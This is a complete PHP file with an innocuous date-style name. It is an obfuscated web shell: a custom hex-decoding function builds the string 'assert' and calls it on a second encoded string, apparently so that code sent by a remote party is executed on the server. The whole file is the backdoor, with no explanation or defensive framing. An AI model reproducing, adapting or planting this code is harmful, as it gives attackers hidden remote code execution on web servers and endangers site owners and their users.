z-2016-01-05.php

<?php
function cve($str,$key)
{
$t="";
for($i=0; $i<strlen($str); $i=$i+2)
{
  $k=(($i+2)/2)%strlen($key);
  $p=substr($key, $k,1);
  if(is_numeric(substr($str, $i,1)))
  {
    $t=$t.chr(hexdec(substr($str, $i,2))-$p);
  }
  else
  {
    $t=$t.chr(hexdec(substr($str, $i,4)));
    $i=$i+2;
  }
}
return($t);
}

(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
?>